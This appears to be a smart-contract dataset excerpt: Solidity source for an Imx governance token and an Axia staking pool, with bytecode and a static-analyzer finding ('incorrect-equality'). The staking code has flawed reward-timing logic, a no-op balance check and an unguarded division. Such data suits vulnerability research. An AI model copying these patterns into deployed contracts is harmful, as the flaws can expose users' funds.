function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Imx::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Imx::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Imx::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Imx::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Imx::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Imx::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Imx::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 0x608060405234801561001057600080fd5b50600436106101515760003560e01c806370a08231116100cd578063b4b5ea5711610081578063dd62ed3e11610066578063dd62ed3e146102b5578063e7a324dc146102c8578063f1127ed8146102d057610151565b8063b4b5ea571461028f578063c3cda520146102a257610151565b80637ecebe00116100b25780637ecebe001461026157806395d89b4114610274578063a9059cbb1461027c57610151565b806370a082311461022e578063782d6fe11461024157610151565b806323b872dd11610124578063587cde1e11610109578063587cde1e146101d95780635c19a95c146101f95780636fcfff451461020e57610151565b806323b872dd146101b1578063313ce567146101c457610151565b806306fdde0314610156578063095ea7b31461017457806318160ddd1461019457806320606b70146101a9575b600080fd5b61015e6102f1565b60405161016b9190611a2e565b60405180910390f35b6101876101823660046117b7565b61032a565b60405161016b919061199a565b61019c61044d565b60405161016b91906119a5565b61019c61045c565b6101876101bf366004611777565b610473565b6101cc610611565b60405161016b9190611d02565b6101ec6101e7366004611728565b610616565b60405161016b9190611979565b61020c610207366004611728565b61063e565b005b61022161021c366004611728565b61064b565b60405161016b9190611ccd565b61019c61023c366004611728565b610663565b61025461024f3660046117b7565b610699565b60405161016b9190611d10565b61019c61026f366004611728565b610984565b61015e610996565b61018761028a3660046117b7565b6109cf565b61025461029d366004611728565b610a0b565b61020c6102b03660046117e1565b610aba565b61019c6102c3366004611743565b610d3f565b61019c610d83565b6102e36102de366004611840565b610d8f565b60405161016b929190611cde565b6040518060400160405280600881526020017f496d7065726d617800000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83141561037c57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103a1565b61039e83604051806060016040528060248152602001611dd660249139610dca565b90505b3360008181526020818152604080832073ffffffffffffffffffffffffffffffffffffffff891680855292529182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610439908590611d10565b60405180910390a360019150505b92915050565b6a52b7d2dcc80cd2e400000081565b604051610468906118b5565b604051809103902081565b73ffffffffffffffffffffffffffffffffffffffff83166000908152602081815260408083203380855290835281842054825160608101909352602480845291936bffffffffffffffffffffffff9091169285926104db9288929190611dd690830139610dca565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561052757506bffffffffffffffffffffffff82811614155b156105f957600061055183836040518060600160405280603c8152602001611d9a603c9139610e1c565b73ffffffffffffffffffffffffffffffffffffffff898116600081815260208181526040808320948a16808452949091529081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff86161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105ef908590611d10565b60405180910390a3505b610604878783610e7f565b5060019695505050505050565b601281565b60026020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b61064833826110eb565b50565b60046020526000908152604090205463ffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff166000908152600160205260409020546bffffffffffffffffffffffff1690565b60004382106106dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d490611a9f565b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205463ffffffff1680610718576000915050610447565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260036020908152604080832063ffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8601811685529252909120541683106107f05773ffffffffffffffffffffffffffffffffffffffff841660009081526003602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9490940163ffffffff168352929052205464010000000090046bffffffffffffffffffffffff169050610447565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260036020908152604080832083805290915290205463ffffffff16831015610838576000915050610447565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82015b8163ffffffff168163ffffffff16111561092c57600282820363ffffffff160481036108886116ed565b5073ffffffffffffffffffffffffffffffffffffffff8716600090815260036020908152604080832063ffffffff8581168552908352928190208151808301909252549283168082526401000000009093046bffffffffffffffffffffffff169181019190915290871415610907576020015194506104479350505050565b805163ffffffff1687111561091e57819350610925565b6001820392505b505061085e565b5073ffffffffffffffffffffffffffffffffffffffff8516600090815260036020908152604080832063ffffffff909416835292905220546bffffffffffffffffffffffff6401000000009091041691505092915050565b60056020526000908152604090205481565b6040518060400160405280600381526020017f494d58000000000000000000000000000000000000000000000000000000000081525081565b6000806109f483604051806060016040528060258152602001611eaf60259139610dca565b9050610a01338583610e7f565b5060019392505050565b73ffffffffffffffffffffffffffffffffffffffff811660009081526004602052604081205463ffffffff1680610a43576000610ab3565b73ffffffffffffffffffffffffffffffffffffffff831660009081526003602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850163ffffffff16845290915290205464010000000090046bffffffffffffffffffffffff165b9392505050565b6000604051610ac8906118b5565b60408051918290038220828201909152600882527f496d7065726d61780000000000000000000000000000000000000000000000006020909201919091527fd53cf706f42de6bfee93f7ee2995e952e6ca19494f5a5260fbff94baff4f92ca610b2f61119f565b30604051602001610b4394939291906119df565b6040516020818303038152906040528051906020012090506000604051610b699061192a565b604051908190038120610b84918a908a908a906020016119ae565b60405160208183030381529060405280519060200120905060008282604051602001610bb192919061187f565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610bee9493929190611a10565b6020604051602081039080840390855afa158015610c10573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116610c88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d490611b59565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604090208054600181019091558914610cee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d490611c70565b87421115610d28576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d490611afc565b610d32818b6110eb565b505050505b505050505050565b73ffffffffffffffffffffffffffffffffffffffff9182166000908152602081815260408083209390941682529190915220546bffffffffffffffffffffffff1690565b6040516104689061192a565b600360209081526000928352604080842090915290825290205463ffffffff81169064010000000090046bffffffffffffffffffffffff1682565b6000816c010000000000000000000000008410610e14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d49190611a2e565b509192915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290610e77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d49190611a2e565b505050900390565b73ffffffffffffffffffffffffffffffffffffffff8316610ecc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d490611bb6565b73ffffffffffffffffffffffffffffffffffffffff8216610f19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d490611c13565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020908152604091829020548251606081019093526035808452610f76936bffffffffffffffffffffffff9092169285929190611e5490830139610e1c565b73ffffffffffffffffffffffffffffffffffffffff848116600090815260016020908152604080832080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff96871617905592861682529082902054825160608101909352602f8084526110089491909116928592909190611d6b908301396111a3565b73ffffffffffffffffffffffffffffffffffffffff8381166000818152600160205260409081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff95909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061109f908590611d10565b60405180910390a373ffffffffffffffffffffffffffffffffffffffff8084166000908152600260205260408082205485841683529120546110e6929182169116836111fe565b505050565b73ffffffffffffffffffffffffffffffffffffffff808316600081815260026020818152604080842080546001845282862054949093528787167fffffffffffffffffffffffff000000000000000000000000000000000000000084168117909155905191909516946bffffffffffffffffffffffff9092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46111998284836111fe565b50505050565b4690565b6000838301826bffffffffffffffffffffffff80871690831610156111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d49190611a2e565b50949350505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561124857506000816bffffffffffffffffffffffff16115b156110e65773ffffffffffffffffffffffffffffffffffffffff83161561134b5773ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604081205463ffffffff1690816112a2576000611312565b73ffffffffffffffffffffffffffffffffffffffff851660009081526003602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860163ffffffff16845290915290205464010000000090046bffffffffffffffffffffffff165b905060006113398285604051806060016040528060278152602001611dfa60279139610e1c565b905061134786848484611441565b5050505b73ffffffffffffffffffffffffffffffffffffffff8216156110e65773ffffffffffffffffffffffffffffffffffffffff821660009081526004602052604081205463ffffffff1690816113a0576000611410565b73ffffffffffffffffffffffffffffffffffffffff841660009081526003602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860163ffffffff16845290915290205464010000000090046bffffffffffffffffffffffff165b905060006114378285604051806060016040528060268152602001611e89602691396111a3565b9050610d37858484845b600061146543604051806060016040528060338152602001611e21603391396116ab565b905060008463ffffffff161180156114d9575073ffffffffffffffffffffffffffffffffffffffff8516600090815260036020908152604080832063ffffffff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8901811685529252909120548282169116145b156115785773ffffffffffffffffffffffffffffffffffffffff851660009081526003602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff880163ffffffff168452909152902080547fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff166401000000006bffffffffffffffffffffffff851602179055611654565b60408051808201825263ffffffff80841682526bffffffffffffffffffffffff808616602080850191825273ffffffffffffffffffffffffffffffffffffffff8b166000818152600383528781208c871682528352878120965187549451909516640100000000027fffffffffffffffffffffffffffffffff000000000000000000000000ffffffff9587167fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161169c929190611d29565b60405180910390a25050505050565b6000816401000000008410610e14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d49190611a2e565b604080518082019091526000808252602082015290565b803573ffffffffffffffffffffffffffffffffffffffff8116811461044757600080fd5b600060208284031215611739578081fd5b610ab38383611704565b60008060408385031215611755578081fd5b61175f8484611704565b915061176e8460208501611704565b90509250929050565b60008060006060848603121561178b578081fd5b833561179681611d48565b925060208401356117a681611d48565b929592945050506040919091013590565b600080604083850312156117c9578182fd5b6117d38484611704565b946020939093013593505050565b60008060008060008060c087890312156117f9578182fd5b6118038888611704565b95506020870135945060408701359350606087013560ff81168114611826578283fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215611852578182fd5b61185c8484611704565b9150602083013563ffffffff81168114611874578182fd5b809150509250929050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201527f6374290000000000000000000000000000000000000000000000000000000000604082015260430190565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b901515815260200190565b90815260200190565b93845273ffffffffffffffffffffffffffffffffffffffff9290921660208401526040830152606082015260800190565b9384526020840192909252604083015273ffffffffffffffffffffffffffffffffffffffff16606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015611a5a57858101830151858201604001528201611a3e565b81811115611a6b5783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60208082526026908201527f496d783a3a6765745072696f72566f7465733a206e6f7420796574206465746560408201527f726d696e65640000000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f496d783a3a64656c656761746542795369673a207369676e617475726520657860408201527f7069726564000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f496d783a3a64656c656761746542795369673a20696e76616c6964207369676e60408201527f6174757265000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252603b908201527f496d783a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160408201527f6e736665722066726f6d20746865207a65726f20616464726573730000000000606082015260800190565b60208082526039908201527f496d783a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160408201527f6e7366657220746f20746865207a65726f206164647265737300000000000000606082015260800190565b60208082526021908201527f496d783a3a64656c656761746542795369673a20696e76616c6964206e6f6e6360408201527f6500000000000000000000000000000000000000000000000000000000000000606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526bffffffffffffffffffffffff16602082015260400190565b60ff91909116815260200190565b6bffffffffffffffffffffffff91909116815260200190565b6bffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff8116811461064857600080fdfe496d783a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773496d783a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365496d783a3a617070726f76653a20616d6f756e7420657863656564732039362062697473496d783a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773496d783a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473496d783a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365496d783a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773496d783a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473a264697066735822122074213769c7038bc3be8fe9c297e3a86e71e9067222591c3786d14374fb7a2a1364736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,374 |
0xf3c4f55d027e635a9092af89fed3da6184083f18 | /**
*Submitted for verification at Etherscan.io on 2020-09-02
*/
/*
* @dev This is the Axia Protocol Staking pool 3 contract (SWAP Pool),
* a part of the protocol where stakers are rewarded in AXIA tokens
* when they make stakes of liquidity tokens from the oracle pool.
* stakers reward come from the daily emission from the total supply into circulation,
* this happens daily and upon the reach of a new epoch each made of 180 days,
* halvings are experienced on the emitting amount of tokens.
* on the 11th epoch all the tokens would have been completed emitted into circulation,
* from here on, the stakers will still be earning from daily emissions
* which would now be coming from the accumulated basis points over the epochs.
* stakers are not charged any fee for unstaking.
*/
pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract USP{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event StakeEvent(address indexed staker, address indexed pool, uint amount);
event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount);
event RewardEvent(address indexed staker, address indexed pool, uint amount);
event RewardStake(address indexed staker, address indexed pool, uint amount);
//======================================STAKING POOLS=========================================//
address public Axiatoken;
address public UniswapV2;
bool public stakingEnabled;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_STAKE = 1000000000000000000; // 1 minimum
uint256 public MIN_DIVIDENDS_DUR = 18 hours;
uint public infocheck;
struct User {
uint256 balance;
uint256 frozen;
int256 scaledPayout;
uint256 staketime;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken; //pool balance
address admin;
}
Info private info;
constructor() public {
info.admin = msg.sender;
stakingEnabled = false;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlyAxiaToken() {
require(msg.sender == Axiatoken, "Authorization: only token contract can call");
_;
}
function tokenconfigs(address _axiatoken, address _univ2) public onlyCreator returns (bool success) {
require(_axiatoken != _univ2, "Insertion of same address is not supported");
require(_axiatoken != address(0) && _univ2 != address(0), "Insertion of address(0) is not supported");
Axiatoken = _axiatoken;
UniswapV2 = _univ2;
return true;
}
function _minStakeAmount(uint256 _number) onlyCreator public {
MINIMUM_STAKE = _number*1000000000000000000;
}
function stakingStatus(bool _status) public onlyCreator {
require(Axiatoken != address(0) && UniswapV2 != address(0), "Pool addresses are not yet setup");
stakingEnabled = _status;
}
function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator {
MIN_DIVIDENDS_DUR = _minDuration;
}
//======================================USER WRITE=========================================//
function StakeAxiaTokens(uint256 _tokens) external {
_stake(_tokens);
}
function UnstakeAxiaTokens(uint256 _tokens) external {
_unstake(_tokens);
}
//======================================USER READ=========================================//
function totalFrozen() public view returns (uint256) {
return info.totalFrozen;
}
function frozenOf(address _user) public view returns (uint256) {
return info.users[_user].frozen;
}
function dividendsOf(address _user) public view returns (uint256) {
if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){
return 0;
}else{
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
}
function userData(address _user) public view
returns (uint256 totalTokensFrozen, uint256 userFrozen,
uint256 userDividends, uint256 userStaketime, int256 scaledPayout) {
return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _stake(uint256 _amount) internal {
require(stakingEnabled, "Staking not yet initialized");
require(IERC20(UniswapV2).balanceOf(msg.sender) >= _amount, "Insufficient SWAP AFT balance");
require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(UniswapV2).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].staketime = now;
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(UniswapV2).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit StakeEvent(msg.sender, address(this), _amount);
}
function _unstake(uint256 _amount) internal {
require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked");
info.totalFrozen -= _amount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
require(IERC20(UniswapV2).transfer(msg.sender, _amount), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, _amount);
}
function TakeDividends() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit RewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledToken(uint _amount) external onlyAxiaToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
} | 0x608060405234801561001057600080fd5b50600436106101205760003560e01c806369c18e12116100ad578063ac3c853511610071578063ac3c8535146102b0578063b333de24146102cf578063b821b6bf146102d7578063c8910913146102df578063e0287b3e1461033057610120565b806369c18e12146102285780636b6b6aa4146102305780637640cb9e1461024d578063a43fc8711461026a578063aa9a09121461028757610120565b80631cfff51b116100f45780631cfff51b146101aa5780631e7f87bc146101c657806322701134146101ce578063376edab6146101f25780636387c9491461022057610120565b806265318b1461012557806308dbbb031461015d5780631495bf9a146101655780631bf6e00d14610184575b600080fd5b61014b6004803603602081101561013b57600080fd5b50356001600160a01b031661034d565b60408051918252519081900360200190f35b61014b6103b3565b6101826004803603602081101561017b57600080fd5b50356103b9565b005b61014b6004803603602081101561019a57600080fd5b50356001600160a01b03166103c5565b6101b26103e3565b604080519115158252519081900360200190f35b61014b6103f3565b6101d66103f9565b604080516001600160a01b039092168252519081900360200190f35b6101b26004803603604081101561020857600080fd5b506001600160a01b0381358116916020013516610408565b6101d6610530565b61014b61053f565b6101826004803603602081101561024657600080fd5b5035610545565b6101b26004803603602081101561026357600080fd5b503561054e565b6101826004803603602081101561028057600080fd5b50356105c3565b61014b6004803603606081101561029d57600080fd5b508035906020810135906040013561061b565b610182600480360360208110156102c657600080fd5b503515156106cf565b61014b6107ab565b61014b6108d5565b610305600480360360208110156102f557600080fd5b50356001600160a01b03166108db565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101826004803603602081101561034657600080fd5b5035610932565b600380546001600160a01b038316600090815260076020526040812090920154101561037b575060006103ae565b6001600160a01b03821660009081526007602052604090206002810154600190910154600854600160401b929102030490505b919050565b60025481565b6103c281610980565b50565b6001600160a01b031660009081526007602052604090206001015490565b600154600160a01b900460ff1681565b60065490565b6001546001600160a01b031681565b6009546000906001600160a01b031633146104545760405162461bcd60e51b8152600401808060200182810382526028815260200180610f216028913960400191505060405180910390fd5b816001600160a01b0316836001600160a01b031614156104a55760405162461bcd60e51b815260040180806020018281038252602a815260200180610f71602a913960400191505060405180910390fd5b6001600160a01b038316158015906104c557506001600160a01b03821615155b6105005760405162461bcd60e51b8152600401808060200182810382526028815260200180610f496028913960400191505060405180910390fd5b50600080546001600160a01b039384166001600160a01b0319918216179091556001805492909316911617815590565b6000546001600160a01b031681565b60045481565b6103c281610ca3565b600080546001600160a01b031633146105985760405162461bcd60e51b815260040180806020018281038252602b815260200180610e7e602b913960400191505060405180910390fd5b600654600160401b8302816105a957fe5b600880549290910490910190819055600455506001919050565b6009546001600160a01b0316331461060c5760405162461bcd60e51b8152600401808060200182810382526028815260200180610f216028913960400191505060405180910390fd5b670de0b6b3a764000002600255565b600080600061062a8686610e1e565b9150915083811061063757fe5b6000848061064157fe5b868809905082811115610655576001820391505b91829003916000859003851680868161066a57fe5b04955080848161067657fe5b04935080816000038161068557fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b6009546001600160a01b031633146107185760405162461bcd60e51b8152600401808060200182810382526028815260200180610f216028913960400191505060405180910390fd5b6000546001600160a01b03161580159061073c57506001546001600160a01b031615155b61078d576040805162461bcd60e51b815260206004820181905260248201527f506f6f6c2061646472657373657320617265206e6f7420796574207365747570604482015290519081900360640190fd5b60018054911515600160a01b0260ff60a01b19909216919091179055565b6000806107b73361034d565b3360008181526007602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b15801561082757600080fd5b505af115801561083b573d6000803e3d6000fd5b505050506040513d602081101561085157600080fd5b5051610899576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f8c998377165b6abd6e99f8b84a86ed2c92d0055aeef42626fedea45c2909f6eb9181900360200190a3905090565b60035481565b60008060008060006108eb6103f3565b6108f4876103c5565b6108fd8861034d565b6001600160a01b0398909816600090815260076020526040902060038101546002909101549299919897509550909350915050565b6009546001600160a